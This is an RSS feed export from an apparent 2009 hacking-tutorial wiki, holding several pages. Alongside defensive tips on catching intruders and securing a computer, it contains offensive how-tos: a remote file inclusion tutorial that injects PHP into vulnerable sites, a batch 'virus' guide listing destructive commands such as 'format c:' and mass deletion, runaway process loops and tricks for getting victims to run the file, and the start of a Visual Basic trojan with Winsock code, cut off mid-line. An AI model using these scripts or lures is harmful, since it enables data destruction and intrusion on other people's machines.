<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="http://blacklibrary.wetpaint.com/xsl/rss2html.xsl" type="text/xsl" media="screen"?><?xml-stylesheet href="http://blacklibrary.wetpaint.com/scripts/wpcss/wiki/blacklibrary/skin/minimalist/rss" type="text/css" media="screen"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/"><channel><title>Black Library - Recently Updated Pages</title><link>http://blacklibrary.wetpaint.com/pageSearch/updated</link><description>Recently Updated Pages on http://blacklibrary.wetpaint.com</description><language>en-us</language><webMaster>info@wetpaint.com</webMaster><pubDate>Sun, 18 Oct 2009 23:49:10 CDT</pubDate><lastBuildDate>Sun, 18 Oct 2009 23:49:10 CDT</lastBuildDate><generator>wetpaint.com</generator><ttl>60</ttl><image><title>Black Library</title><url>http://image.wetpaint.com/image/3/0CnTEQQiyhkNv-o9HB_IDQ11568</url><link>http://blacklibrary.wetpaint.com</link><description>learning computers hacking</description></image><item><title>Black Library Home</title><link>http://blacklibrary.wetpaint.com/page/Black+Library+Home</link><author>Canakar</author><guid isPermaLink="false">http://blacklibrary.wetpaint.com/page/Black+Library+Home</guid><pubDate>Sun, 18 Oct 2009 23:49:10 CDT</pubDate><description>&lt;div align=&quot;center&quot;&gt;&lt;font color=&quot;#ff0000&quot; size=&quot;4&quot;&gt;&lt;font size=&quot;6&quot;&gt;Black Library News!&lt;/font&gt;&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;font color=&quot;#00FF00&quot;&gt;&lt;font color=&quot;#FFFFFF&quot;&gt;Re updatingour current collection.&lt;br&gt;&lt;/font&gt;&lt;/font&gt;&lt;br&gt;Archive update:&lt;br&gt;&lt;br&gt;&lt;div align=&quot;left&quot;&gt;&lt;br&gt;&lt;br&gt;&lt;div align=&quot;center&quot;&gt;&lt;/div&gt;&lt;br&gt;&lt;div align=&quot;center&quot;&gt;&lt;font size=&quot;6&quot;&gt;&lt;font color=&quot;#ff0000&quot;&gt;Open Source!&lt;/font&gt;&lt;br&gt;&lt;/font&gt;&lt;div align=&quot;center&quot;&gt;&lt;font size=&quot;4&quot;&gt;Our open Source allows you to teach yourself without registering our website and/or allows you to improve your website with are growing collection of tutorials! Where to start? To start things off you need to first pick what you want to learn, To do this you click a Archive located under wiki pages (hacking a computer, hackin&lt;/font&gt;&lt;font size=&quot;4&quot;&gt;g a website, etc)&lt;/font&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;font size=&quot;4&quot;&gt;&lt;br&gt;&lt;/font&gt;&lt;br&gt;&lt;div align=&quot;center&quot;&gt;&lt;font color=&quot;#00ffd5&quot; size=&quot;4&quot;&gt;&lt;font size=&quot;5&quot;&gt;&lt;font size=&quot;6&quot;&gt;H&lt;/font&gt;&lt;font size=&quot;6&quot;&gt;elping Black Library?&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;font size=&quot;5&quot;&gt;Voting&lt;/font&gt;:&lt;br&gt;&lt;font size=&quot;4&quot;&gt;By voting you can help us get more visiters and more tutorials for the website and to keep us up and running! (Remeber To Vote Once A Week To Really Help Us!) &lt;br&gt;Please click &lt;font size=&quot;5&quot;&gt;&lt;a class=&quot;external&quot; href=&quot;http://blacklibrary.wetpaint.comhttp://www.progenic.com/vote/?id=canakar&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;HERE&lt;/a&gt;&lt;/font&gt; to Vote for us!&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;font size=&quot;5&quot;&gt;Affiliating&lt;/font&gt;&lt;br&gt;&lt;font size=&quot;4&quot;&gt;(We no longer accept Affiliation!)&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;hr size=&quot;1&quot;&gt;&lt;br/&gt;</description></item><item><title>General!</title><link>http://blacklibrary.wetpaint.com/page/General%21</link><author>Canakar</author><guid isPermaLink="false">http://blacklibrary.wetpaint.com/page/General%21</guid><pubDate>Thu, 19 Feb 2009 15:34:33 CST</pubDate><description>here you can find many hacking articles that are general to the hacking world!&lt;br&gt;&lt;br&gt;Archive:&lt;br&gt;&lt;a href=&quot;http://blacklibrary.wetpaint.com/page/Using+Cmd&quot; target=&quot;_self&quot;&gt;Using Cmd&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;http://blacklibrary.wetpaint.com/page/Hacking+From+Linux&quot; target=&quot;_self&quot;&gt;Hacking From Linux&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;http://blacklibrary.wetpaint.com/page/Raising+Hell+with+unix&quot; target=&quot;_self&quot;&gt;Raising Hell with unix&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;http://blacklibrary.wetpaint.com/page/Unix+bible&quot; target=&quot;_self&quot;&gt;Unix Bible&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;http://blacklibrary.wetpaint.com/page/Psychotics+Unix+Bible&quot; target=&quot;_self&quot;&gt;Psychotics Unix Bible&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;http://blacklibrary.wetpaint.com/page/XSS+Tutorial+%5BINTRO%5D&quot; target=&quot;_self&quot;&gt;XSS Tutorial [INTRO]&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;http://blacklibrary.wetpaint.com/page/RFI+Tutorial&quot; target=&quot;_self&quot; title=&quot;RFI Tutorial&quot;&gt;RFI Tutorial&lt;/a&gt;&lt;br&gt;&lt;hr size=&quot;1&quot;&gt;&lt;br/&gt;</description></item><item><title>RFI Tutorial</title><link>http://blacklibrary.wetpaint.com/page/RFI+Tutorial</link><author>Canakar</author><guid isPermaLink="false">http://blacklibrary.wetpaint.com/page/RFI+Tutorial</guid><pubDate>Thu, 19 Feb 2009 15:34:00 CST</pubDate><description>&lt;font color=&quot;#ffffff&quot;&gt;&lt;div align=&quot;center&quot;&gt;In this article I will describe the following.&lt;br&gt; What is RFI?&lt;br&gt; What can it do?&lt;br&gt; What&amp;#39;s happening?&lt;br&gt; How does one write a vulnerable script like this?&lt;br&gt; and probably some other shit.&lt;/div&gt;&lt;br&gt; &lt;br&gt; &lt;br&gt; &lt;br&gt; This article is written with PHP example scripts and errors.&lt;br&gt; &lt;br&gt; What is RFI?&lt;br&gt; &lt;br&gt; Small Definition: RFI, (R)emote (F)ile (I)inclusion, is a small but deadly vulnerability found in a major part of the web today.&lt;br&gt; It allows one to (include) (remote) (files).&lt;br&gt; &lt;br&gt; &lt;br&gt; Well, lets start off by giving a small example.&lt;br&gt; You are browsing a site and notice in the URL that one of the GET arguments is index.php?page=index.&lt;br&gt; You click on the &amp;quot;news&amp;quot; link in the navigation and it changes to index.php?page=news.&lt;br&gt; So you do some playing around and change the name to index.php?page=abcd and you get an error.&lt;br&gt; &lt;br&gt; [Now lets start describing this thing]&lt;br&gt; &lt;br&gt; Error: Warning: include(abcd.txt) [function.include]: failed to open stream: No such file or directory in /web/public_html/script.php on line 192&lt;br&gt; &lt;br&gt; Alright, at first glance alot of newbies would just look over this and not notice they found a RFI vulnerability.&lt;br&gt; &lt;br&gt; This tiny error tells me a little bit of information.&lt;br&gt; &lt;br&gt; The Path: /web/public_html/&lt;br&gt; It just let me know the full path to all there web files, nothing special for this article but can really help out if you plan on gaining more access.&lt;br&gt; &lt;br&gt; The Function: [function.include]&lt;br&gt; It just told me that it is trying to &amp;quot;include(abcd.txt)&amp;quot;&lt;br&gt; &lt;br&gt; Notice that in the small example we got this error by passing page=abcd. So in the background you can expect the PHP script to be doing something as the following.&lt;br&gt; &lt;br&gt; include(&amp;quot;{$_GET[&amp;#39;page&amp;#39;]}.txt&amp;quot;Wink;&lt;br&gt; &lt;br&gt; With this type of script you are sort of limited on Local File Inclusion but for Remote File Inclusion this is wonderful.&lt;br&gt;????: CyberXtreme - Exclusive Hacking &amp;amp; Warez Community &lt;a class=&quot;external&quot; href=&quot;http://blacklibrary.wetpaint.comhttp://cyberxtreme.info/board//showthread.php?t=4041&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://cyberxtreme.info/board//showthread.php?t=4041&lt;/a&gt;&lt;br&gt; &lt;br&gt; By default a .txt document is received with a content type of text/plain, more on this in a second.&lt;br&gt; &lt;br&gt; So now lets actually inject something. We are going to inject a small piece of code that just prints out Hello World 10 times on the vulnerable page.&lt;br&gt; &lt;br&gt; The script:&lt;br&gt; &amp;lt;?PHP for ($i = 0; $i &amp;lt; 10; $i++) { echo &amp;quot;Hello World&amp;quot;; } ?&amp;gt; // This script will enter a loop increment the value of the variable $i by one each loop while printing out the words &amp;quot;Hello World&amp;quot;&lt;br&gt; &lt;br&gt; Storing:&lt;br&gt; Now we need to stick this small script in a .txt file, the reason being is that I had just described above. a .txt file will not parse the file as PHP there for printing out the PHP code as normal text.&lt;br&gt; Now just upload this somewhere that you can access it from an IP or URL such as &lt;a class=&quot;external&quot; href=&quot;http://blacklibrary.wetpaint.comhttp://domain.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://domain.com&lt;/a&gt;...&lt;br&gt; &lt;br&gt; Now we need to go back to the vulnerable script we found and change the value to the location of your text file.&lt;br&gt; In this case we change it to index.php?page=http://domain.com/script&lt;br&gt; &lt;br&gt; The reason that we left out the .txt is of what we noticed in the error.&lt;br&gt; The error is appending the .txt format to the page argument.&lt;br&gt; &lt;br&gt; So when we send this the vulnerable script should be doing something like this&lt;br&gt; include(&amp;quot;http://domain.com/script.txt&amp;quot;Wink; // including your remote file that has the PHP script in it.&lt;br&gt; &lt;br&gt; Even though this script is stored in a plain text document, it is being passed threw the include() function in PHP.&lt;br&gt; This function is going to parse the PHP within this text file no matter what format the file was originally in.&lt;br&gt; &lt;br&gt; So now looking at the page we should notice that it prints out &amp;quot;Hello World&amp;quot; 10 times. That means we successfully inject a PHP script and the server parsed it.&lt;br&gt; &lt;br&gt; Congratulations!&lt;br&gt; &lt;br&gt; Why would someone be vulnerable to this?&lt;br&gt; There are alot of people out there that program without any knowledge of security at all.&lt;br&gt; They write this small easy script &amp;lt;?PHP include(&amp;quot;{$_GET[&amp;#39;page&amp;#39;]}.txt&amp;quot;Wink; ?&amp;gt; thinking that its going to save them alot of problems in the future.&lt;br&gt; &lt;br&gt; Now they can simply create file.txt and link to index.php?page=file and it will include and parse that script no problem. &lt;/font&gt;&lt;hr size=&quot;1&quot;&gt;&lt;br/&gt;</description></item><item><title>How To Catch A Hacker</title><link>http://blacklibrary.wetpaint.com/page/How+To+Catch+A+Hacker</link><author>Canakar</author><guid isPermaLink="false">http://blacklibrary.wetpaint.com/page/How+To+Catch+A+Hacker</guid><pubDate>Wed, 18 Feb 2009 23:47:41 CST</pubDate><description>Tip 1: Hackers cover their tracks. Experienced hackers cover them more thoroughly, but amateur hackers sometimes leave things behind. Don&amp;#39;t expect them to leave any really big evidence behind; expect more of little things here and there you might find surprising. For example, if you&amp;#39;re writing a term paper and a black hat hacker accidentally saved it when he took a paragraph out- that&amp;#39;s suspicious. Where did that paragraph go? Well, for one thing, now you know he was in that area. Check the folders surrounding the file- you might find something.&lt;br&gt;&lt;br&gt;Tip 2: Decipher between the type of hackers that are attacking you. Experienced hackers will have a more in depth look around when they penetrate your system. They won&amp;#39;t touch much because they know that that won&amp;#39;t add too much to their knowledge. But if you know a hacker&amp;#39;s been in, and some files are messed with, and you have a log of someone guessing passwords to a file or something of that sort, its probably some newbie who&amp;#39;s just starting out. These are the easiest hackers to catch. They usually get so caught up in thoughts like &amp;quot;I&amp;#39;m in!&amp;quot; that they forget the basics, such as work behind a proxy.&lt;br&gt;&lt;br&gt;&lt;b&gt;tip to protect yourself&lt;/b&gt;&lt;br&gt;My friend was setting up a webserver once. His first time too, and he wasn&amp;#39;t to anxious to set up some good software to protect against hackers and viruses. He didn&amp;#39;t put up one IDS, and before you know it, the obvious happened. But this time, a newbie had struck. The nice log files showed, bluntly across the screen, multiple instances of a foreign IP address that stood out. Some stupid newbie had tried to login as &amp;quot;uucp&amp;quot; on my friend&amp;#39;s XP computer, with a password of &amp;quot;uucp.&amp;quot; Well, that&amp;#39;s great, but he also had tried the same user/pass combination three times, enough to get himself logged nicely. Even a semi-brainless user with some form of neurological system knows that uucp isn&amp;#39;t a default XP account. Again, excitement toiled this hacker&amp;#39;s brain, and maybe if he hadn&amp;#39;t done that, along with a few other stupid things, he wouldn&amp;#39;t have gotten caught. What other things did he do? Well, lets see. He openned 35 instances of MS-DOS. He tried to clean the printer&amp;#39;s heads, and he edited a .gif in notepad. Then he uninstalled a few programs and installed some html editor, and replaced four files with the words &amp;quot;14P.&amp;quot; he might as well have posted his phone number. In a few days, we had tracked him down to a&lt;br&gt;suburban town in Ohio. We let him go, not pressing any charges, because he had done nothing really damaging and had provided me with an example of a moron for this guide.&lt;br&gt;&lt;br&gt;Tip 3: Don&amp;#39;t go crazy if you lose data. Chances are, if it was that important, you would have backed it up anyway. Most hackers nowadays wish they were back in 1989 when they could use a Black Box and having a Rainbow Book actually meant something. Most hackers aren&amp;#39;t blackhat, they are whitehat, and some even greyhat. But in the end, most hackers that are in systems aren&amp;#39;t satisfied by looking around. From past experiences, I have concluded that many hackers like to remember where&amp;#39;ve they been. So, what do they do? They either press delete here and there, or copy some files onto their systems. Stupid hackers (yes, there are plenty of stupid hackers) send files to e-mail addresses. Some free email companies will give you the IP of a certain e-mail address&amp;#39;s user if you can prove that user has been notoriously hacking you. But most of the time, by the time you get the e-mail addy it&amp;#39;s been unused for weeks if not months or years, and services like hotmail have already deleted it&lt;br&gt;&lt;br&gt;Tip 4: Save information! Any information that you get from a log file (proxy server IP, things like &amp;quot;14P&amp;quot;, e-mail addresses that things were sent to, etc.) should be saved to a floppy disk (they&amp;#39;re not floppy anymore, I wish I could get out of the habit of calling them that) incase there&amp;#39;s a next time. If you get another attack, from the same proxy, or with similar e-mail addresses (e.g: one says Blackjack 123@something.whatever and the other says Black_jack_45@something.znn.com) you can make an assumption that these hackers are the same people. In that case, it would probably be worth the effort to resolve the IP using the proxy and do a traceroute. Pressing charges is recommended if this is a repeat offender.&lt;br&gt;&lt;br&gt;Tip 5: Don&amp;#39;t be stupid. If you&amp;#39;ve been hacked, take security to the next level. Hackers do talk about people they&amp;#39;ve hacked and they do post IPs and e-mail addresses. Proof? Take a look at Defcon Conventions. I&amp;#39;ve never gone to one, but I&amp;#39;ve seen the photos. The &amp;quot;Wall of Shame&amp;quot;-type of boards I&amp;#39;ve seen have IPs and e-mail addresses written all over them in fat red, dry-erase ink. Don&amp;#39;t be the one to go searching the Defcon website and find your e-mail address posted on the Wall of Shame board!&lt;br&gt;&lt;br&gt;Tip 6: Don&amp;#39;t rely on luck. Chances are, sometime or another, you&amp;#39;re going to be targeted for an attack. Here you can rely on luck. Maybe they&amp;#39;ll forget? Maybe they don&amp;#39;t know how to do it? If you think this way, a surprise is going to hit your face very hard. Another way you could stupidly rely on luck is by saying this: It&amp;#39;s probably just a whitehat. On the contrary, my friend, it&amp;#39;s probably just a blackhat. A blackhat with knowledge stored in his head, ready to be used as an ax. It&amp;#39;s your data. You take the chance. 			&lt;hr size=&quot;1&quot;&gt;&lt;br/&gt;</description></item><item><title>Having a Strong Password</title><link>http://blacklibrary.wetpaint.com/page/Having+a+Strong+Password</link><author>Canakar</author><guid isPermaLink="false">http://blacklibrary.wetpaint.com/page/Having+a+Strong+Password</guid><pubDate>Wed, 18 Feb 2009 23:46:11 CST</pubDate><description>&lt;br&gt;&lt;div align=&quot;center&quot;&gt; &lt;/div&gt;&lt;hr size=&quot;1&quot;&gt;&lt;br/&gt;</description></item><item><title>How can i protect myself?</title><link>http://blacklibrary.wetpaint.com/page/How+can+i+protect+myself%3F</link><author>Canakar</author><guid isPermaLink="false">http://blacklibrary.wetpaint.com/page/How+can+i+protect+myself%3F</guid><pubDate>Wed, 18 Feb 2009 23:41:41 CST</pubDate><description>&lt;h2&gt;CAN I PROTECT MY COMPUTER FROM HACKERS? &lt;br&gt;                 &lt;a&gt;By Michael Siersema&lt;/a&gt; &lt;/h2&gt;                					   					 					  					                You cannot completely protect yourself from hackers. What you can                do is make it difficult for them and they move on to easier prey.                There are several areas that need protection from hackers. First                is from viruses, second is to &amp;#39;harden&amp;#39; your computer and the third                is to report suspicious activity to the appropriate authorities.                Yes, reporting does stop hackers and a hacker want-to-be. The best                method for protecting several computers in a home network will be                covered next month. &lt;br&gt;              &lt;b&gt;&lt;font size=&quot;+1&quot;&gt;Virus Detection Software&lt;/font&gt;&lt;/b&gt; &lt;br&gt;               The simplest method of protection is virus software - get it and                use it! How does virus software stop hackers? Hackers use viruses                to take over your system or send them information, like password,                account numbers, credit card numbers&amp;hellip; There are several virus software                products available. The main caveat is that you update on a frequent                basis. I am using a program that checks daily, by itself for updates                and then installs the updates. Also the software should not just                test system files, but check Internet downloads and email files. &lt;br&gt;              &lt;font size=&quot;+1&quot;&gt;&lt;b&gt;Harden Your Computer&lt;/b&gt;&lt;/font&gt; &lt;br&gt;               Use Stealth Software The newest level of protection is a recent                class of software that block outside users from seeing your system.                When your computer is on-line continuously, such as cable modem                or DSL; hackers test all network addresses. This is very much like                the war modem dialers you saw on movies that calls all telephone                numbers to find a modem on the other end! &lt;br&gt;               This new breed of software masks all attempts to see your computer                - your IP address becomes a black hole as if there is no computer                connected, or it is turned off. BlackICE Defender by Network ICE                will install and tell record hacking events against your computer.                BlackICE will provide information about the attack and what you                can do to report the activity to the authorities. Another is called                ZoneAlarm by Zone Labs that is free. It has additional benefits                of monitoring traffic leaving your system, so you will know when                someone is trying to use a &amp;#39;trojan horse&amp;#39; attack on your system                through a web site or email. &lt;br&gt;              &lt;b&gt;&lt;font size=&quot;+1&quot;&gt;Report Hacker Activity &lt;/font&gt;&lt;/b&gt;&lt;br&gt;               Report hacker activity to the ISP that the hacker is using. Send                all information you have that can help. You can send an email to                abuse @ the hackers ISP. If they need additional information they                will respond. Also Spamcop.net is great to shutdown those pesky                bulk email senders. This subject will be covered in more detail                in the future. &lt;br&gt;&lt;hr size=&quot;1&quot;&gt;&lt;br/&gt;</description></item><item><title>Security</title><link>http://blacklibrary.wetpaint.com/page/Security</link><author>Canakar</author><guid isPermaLink="false">http://blacklibrary.wetpaint.com/page/Security</guid><pubDate>Wed, 18 Feb 2009 23:41:08 CST</pubDate><description> 			Learn how to Protect yourself from hackers!&lt;br&gt;&lt;br&gt;&lt;br&gt;Archive:&lt;br&gt;&lt;a href=&quot;http://blacklibrary.wetpaint.com/page/How+can+i+protect+myself%3F&quot; target=&quot;_self&quot;&gt;How can i protect myself?&lt;/a&gt;&lt;a href=&quot;http://blacklibrary.wetpaint.com/page/Having+a+Strong+Password&quot; target=&quot;_self&quot;&gt;&lt;br&gt;Having a Strong Password&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;http://blacklibrary.wetpaint.com/page/5+Common+security+Mistakes&quot; target=&quot;_self&quot;&gt;5 Common security Mistakes&lt;/a&gt;&lt;br&gt;How to Catch A Hacker&lt;br&gt;&lt;hr size=&quot;1&quot;&gt;&lt;br/&gt;</description></item><item><title>Notepade Virus [HowTo]</title><link>http://blacklibrary.wetpaint.com/page/Notepade+Virus+%5BHowTo%5D</link><author>Canakar</author><guid isPermaLink="false">http://blacklibrary.wetpaint.com/page/Notepade+Virus+%5BHowTo%5D</guid><pubDate>Wed, 18 Feb 2009 23:40:23 CST</pubDate><description>Index &lt;br&gt; 1. Tools &lt;br&gt; 2. What makes a virus a virus &lt;br&gt; 3. Making your first batch file &lt;br&gt; 4. Making a batch virus  &lt;br&gt; 5. Destructive commands &lt;br&gt; 6. Most common tricks used to make someone open the file &lt;br&gt;  &lt;br&gt;  &lt;br&gt;  &lt;br&gt;  &lt;br&gt;  &lt;br&gt;  &lt;br&gt; 1. Tools &lt;br&gt; To make a batch program you will need a text program (ex. Word,notepad,wordpad etc&amp;hellip;) A keyboard if you don&amp;rsquo;t have one you can use the ON-screen keyboard &lt;br&gt; To get to the on-screen keyboard start&amp;gt;all programs&amp;gt;accessories&amp;gt;accessibility  &lt;br&gt;  &lt;br&gt;  &lt;br&gt; 2. What makes a virus a virus &lt;br&gt; When people think of a virus they think of a computer virus but the word virus came from a virus that&amp;rsquo;s in your body. They also think a virus is meant to delete or destroy things. They normally do but a virus is called a virus because, it copies itself. Like a virus in your body it copies it self to other cells cause it can&amp;rsquo;t live with out a host. Same with a computer virus with out a file or a program a virus can&amp;rsquo;t be made. &lt;br&gt; So all a computer virus is: a program that copies it self ,but some people put destructive code in it. &lt;br&gt;  &lt;br&gt; 3. Making a Batch file &lt;br&gt; I&amp;rsquo;m going to use notepad you can use what ever you want &lt;br&gt;  &lt;br&gt; We are also going to make a &amp;ldquo;Hello World&amp;rdquo; Application that is the first program you make in any language  &lt;br&gt;  &lt;br&gt; When making a batch file you are always going to use this line first &lt;br&gt;  &lt;br&gt; @echo off &lt;br&gt;  &lt;br&gt;You can turn it on if you like. All that does is telling the program not to tell its location. If you turn it on then the program will tell were it is at on the computer. &lt;br&gt; You can experiment a little if you want. &lt;br&gt;  &lt;br&gt; Now we are going to make it say Hello World &lt;br&gt;  &lt;br&gt; To do this we need a echo command which looks like this &lt;br&gt; echo &lt;br&gt;  &lt;br&gt;This tells the program to write something since we want it to say Hello World we are going to type Hello World next to echo to make it look like this &lt;br&gt;  &lt;br&gt; echo Hello World &lt;br&gt;  &lt;br&gt; so at this point you should have &lt;br&gt;  &lt;br&gt; @echo off &lt;br&gt; echo Hello World &lt;br&gt;  &lt;br&gt; now go to file save and name it test.bat ( you can name it whatever you want as long as it has .bat at the end.) &lt;br&gt; Save it to the desktop so you can get to it faster. &lt;br&gt;  &lt;br&gt; Then run it &lt;br&gt;  &lt;br&gt;  &lt;br&gt;  &lt;br&gt; You should of have a black box open and close really fast &lt;br&gt;  &lt;br&gt; To fix this we need a pause command and we will also need a goto command &lt;br&gt;  &lt;br&gt; The goto command is the most importent command &lt;br&gt;  &lt;br&gt; If you dont know the goto command tell it were to go to next. &lt;br&gt;  &lt;br&gt; since we need a pause command we want it to go to pause so we need to write goto pause like this &lt;br&gt;  &lt;br&gt; goto pause  &lt;br&gt;  &lt;br&gt; now u should have &lt;br&gt;  &lt;br&gt; @echo off &lt;br&gt; echo Hello World &lt;br&gt; goto pause &lt;br&gt;  &lt;br&gt; now we need a subsection name pause  &lt;br&gt;  &lt;br&gt; you make a sub section by putting a : by the first word like this &lt;br&gt;  &lt;br&gt; :start &lt;br&gt;  &lt;br&gt; or &lt;br&gt;  &lt;br&gt; :end &lt;br&gt;  &lt;br&gt; ,but we said go to pause so we need one name pause like this &lt;br&gt;  &lt;br&gt; ause &lt;br&gt;  &lt;br&gt; then under that we are goin to write pause &lt;br&gt;  &lt;br&gt; ause &lt;br&gt; pause &lt;br&gt;  &lt;br&gt; this just makes it were it will keep the box open till you press a key &lt;br&gt;  &lt;br&gt; Optionl &lt;br&gt;  &lt;br&gt; At the end you can put a exit at the end of pause were the goto command should go ,but you dont have to. &lt;br&gt;  &lt;br&gt; save at run it now.You should be able to read your text now &lt;br&gt;  &lt;br&gt; 4. Making a Batch file into a virus &lt;br&gt;  &lt;br&gt; This is alot easier then some people think. &lt;br&gt;  &lt;br&gt; To make a virus you just need the copy command which looks like this &lt;br&gt;  &lt;br&gt; copy  &lt;br&gt;  &lt;br&gt; so lets make a new one by reading section 3 you should know you need the @echo off &lt;br&gt;  &lt;br&gt; @echo off &lt;br&gt; copy &lt;br&gt;  &lt;br&gt; allright we are going to name this file first &lt;br&gt;  &lt;br&gt; and we are going to make it copy itself to C:\WINDOWS just because no one looks in their &lt;br&gt;  &lt;br&gt; this is what it looks like (i will explain it) &lt;br&gt;  &lt;br&gt; @echo off &lt;br&gt; copy first C:\WINDOWS &lt;br&gt;  &lt;br&gt; copy-tells it to copy &lt;br&gt; first-is just the name of the file we want to copy &lt;br&gt; C:\WINDOWS- is the place you want to copy to &lt;br&gt;  &lt;br&gt; that is a virus &lt;br&gt;  &lt;br&gt; 5. Destructive commands &lt;br&gt;  &lt;br&gt; If you get pissed at someone you might want to send him someting to mess with him. Here are some commands to add to the virus. &lt;br&gt;  &lt;br&gt; del -this del files &lt;br&gt;  &lt;br&gt; del file name &lt;br&gt; del (.txt*) &lt;br&gt;  &lt;br&gt; the (.txt*) would delete all txt files on the computer the * at the end just means all instead of a file called .txt &lt;br&gt;  &lt;br&gt; deltree- this deletes the whole folder &lt;br&gt;  &lt;br&gt; you can remeber it like this &lt;br&gt;  &lt;br&gt;Think of a tree if you type del you are only deleting a part of the tree ,but if you type deltree you are deleting the whole tree &lt;br&gt;  &lt;br&gt; format- this deltes everything  &lt;br&gt;  &lt;br&gt; format c: &lt;br&gt;  &lt;br&gt; this delets everything in the c drive &lt;br&gt;  &lt;br&gt; open &lt;br&gt;  &lt;br&gt; this is just fun to use to scare some one but not do damage to something &lt;br&gt;  &lt;br&gt; open name of file &lt;br&gt;  &lt;br&gt; like to open notepad type &lt;br&gt;  &lt;br&gt; open notepad &lt;br&gt;  &lt;br&gt; to open microsoft paint type &lt;br&gt;  &lt;br&gt; open mspaint &lt;br&gt;  &lt;br&gt; just put ta crap load in their &lt;br&gt;  &lt;br&gt; also the next one that can be very usefull is looping &lt;br&gt;  &lt;br&gt; this will make the file repet it self til it is shut off &lt;br&gt;  &lt;br&gt; say your first sub section is called start &lt;br&gt;  &lt;br&gt; you would just make the goto command to go to start like &lt;br&gt;  &lt;br&gt; @echo off &lt;br&gt; :start &lt;br&gt; start notepad &lt;br&gt; goto start &lt;br&gt;  &lt;br&gt; that will open notepad over and over and if they dont close it it can crash their computer &lt;br&gt;  &lt;br&gt; to open the command window you have to use var. like %% (not going to explain var. it would be confusing) &lt;br&gt;  &lt;br&gt; @echo off &lt;br&gt; :whatever &lt;br&gt; start %0 &lt;br&gt; goto whatever &lt;br&gt;  &lt;br&gt; this will open the black box over and over &lt;br&gt;  &lt;br&gt; 6. Most command tricks &lt;br&gt;  &lt;br&gt; people will put it in a folder with a couple read me doc. and call it a game &lt;br&gt;  &lt;br&gt; people will say check this out it is so cool &lt;br&gt;  &lt;br&gt; people will say check out this hack or cheat i found for this game &lt;br&gt;  &lt;br&gt; to check if the are good do this &lt;br&gt;  &lt;br&gt; tell them to put it in a zip folder and send it &lt;br&gt;  &lt;br&gt; unzip and right click on the program(dont open it) &lt;br&gt;  &lt;br&gt; and press edit &lt;br&gt;  &lt;br&gt; that will show the sorce code and if you see something you dont like then delete it &lt;br&gt;  &lt;br&gt; Examples &lt;br&gt;  &lt;br&gt; for just a simp msg its &lt;br&gt;  &lt;br&gt; @echo off &lt;br&gt; echo *insert MSG here* &lt;br&gt; goto pause &lt;br&gt; ause &lt;br&gt; pause &lt;br&gt;  &lt;br&gt; for the a rapid command propt type screen its &lt;br&gt;  &lt;br&gt; @echo off &lt;br&gt; :whatever &lt;br&gt; start %0 &lt;br&gt; goto whatever &lt;br&gt;  &lt;br&gt; for rapid note pad its &lt;br&gt;  &lt;br&gt;  &lt;br&gt; @echo off &lt;br&gt; :start &lt;br&gt; start notepad &lt;br&gt; goto start &lt;br&gt;  &lt;br&gt; for rapid ms paint its &lt;br&gt;  &lt;br&gt;  &lt;br&gt; @echo off &lt;br&gt; :start &lt;br&gt; start ms paint &lt;br&gt; goto start &lt;br&gt;  &lt;br&gt; Credit - AnTiFlaG&lt;hr size=&quot;1&quot;&gt;&lt;br/&gt;</description></item><item><title>Making a VB virus</title><link>http://blacklibrary.wetpaint.com/page/Making+a+VB+virus</link><author>Canakar</author><guid isPermaLink="false">http://blacklibrary.wetpaint.com/page/Making+a+VB+virus</guid><pubDate>Wed, 18 Feb 2009 23:37:09 CST</pubDate><description>&lt;font&gt;&lt;font size=&quot;2&quot;&gt;How to make a virus in VB ( With Pic step by step) -&lt;br&gt;&lt;br&gt;first get Visual Basic 6.0 Enterprice or Professional both are ok.&lt;br&gt;To make a trojan horse we need to create two files a Server and a Client.&lt;br&gt;&lt;br&gt;We start with the Client:&lt;br&gt;Open Visual Basic 6.0&lt;br&gt;Open a new standard.EXE&lt;br&gt;&lt;font size=&quot;1&quot;&gt;&lt;br&gt; &lt;/font&gt;&lt;br&gt;After you open the standard.exe you will look at form1 that is looking like this:&lt;br&gt; &lt;br&gt;&lt;br&gt;Add a 1 textbox and a 3 command buttons to the form.&lt;br&gt;Chance text of Textbox1 to 127.0.0.1 and set Alignment to Center&lt;br&gt;Chance caption of command button 1 to ?connect?&lt;br&gt;Chance caption of command button 2 to ?open msn?&lt;br&gt;Chance caption of command button 3 to ?open explorer?&lt;br&gt;&lt;br&gt;It will looks a little like this:&lt;br&gt; &lt;br&gt;&lt;br&gt;Ok now we gonne add the Winsock.ocx by clicking right on the toolbox and click components to add the microsoft winsock control 6.0 (SP6)&lt;br&gt;&lt;br&gt;Like this:&lt;br&gt; &lt;br&gt;&lt;br&gt;And add the winsock control to your project&lt;br&gt;&lt;br&gt; &lt;br&gt;&lt;br&gt;Private Sub Command1_Click()&lt;br&gt;Winsock1.RemoteHost = Text1.Text&lt;br&gt;Winsock1.RemotePort = 1234&lt;br&gt;Winsock1.Connect&lt;br&gt;End Sub&lt;br&gt;&lt;br&gt;Private Sub Command2_Click()&lt;br&gt;Winsock1.SendData &amp;quot;msn&amp;quot;&lt;br&gt;End Sub&lt;br&gt;&lt;br&gt;Private Sub Command3_Click()&lt;br&gt;Winsock1.SendData &amp;quot;ex&amp;quot;&lt;br&gt;End Sub&lt;br&gt;&lt;br&gt;Private Sub Winsock1_Close()&lt;br&gt;Winsock1.Close&lt;br&gt;End Sub&lt;br&gt;&lt;br&gt;Private Sub Winsock1_Connect()&lt;br&gt;Form1.Caption = &amp;quot;Connected To &amp;quot; &amp;amp; 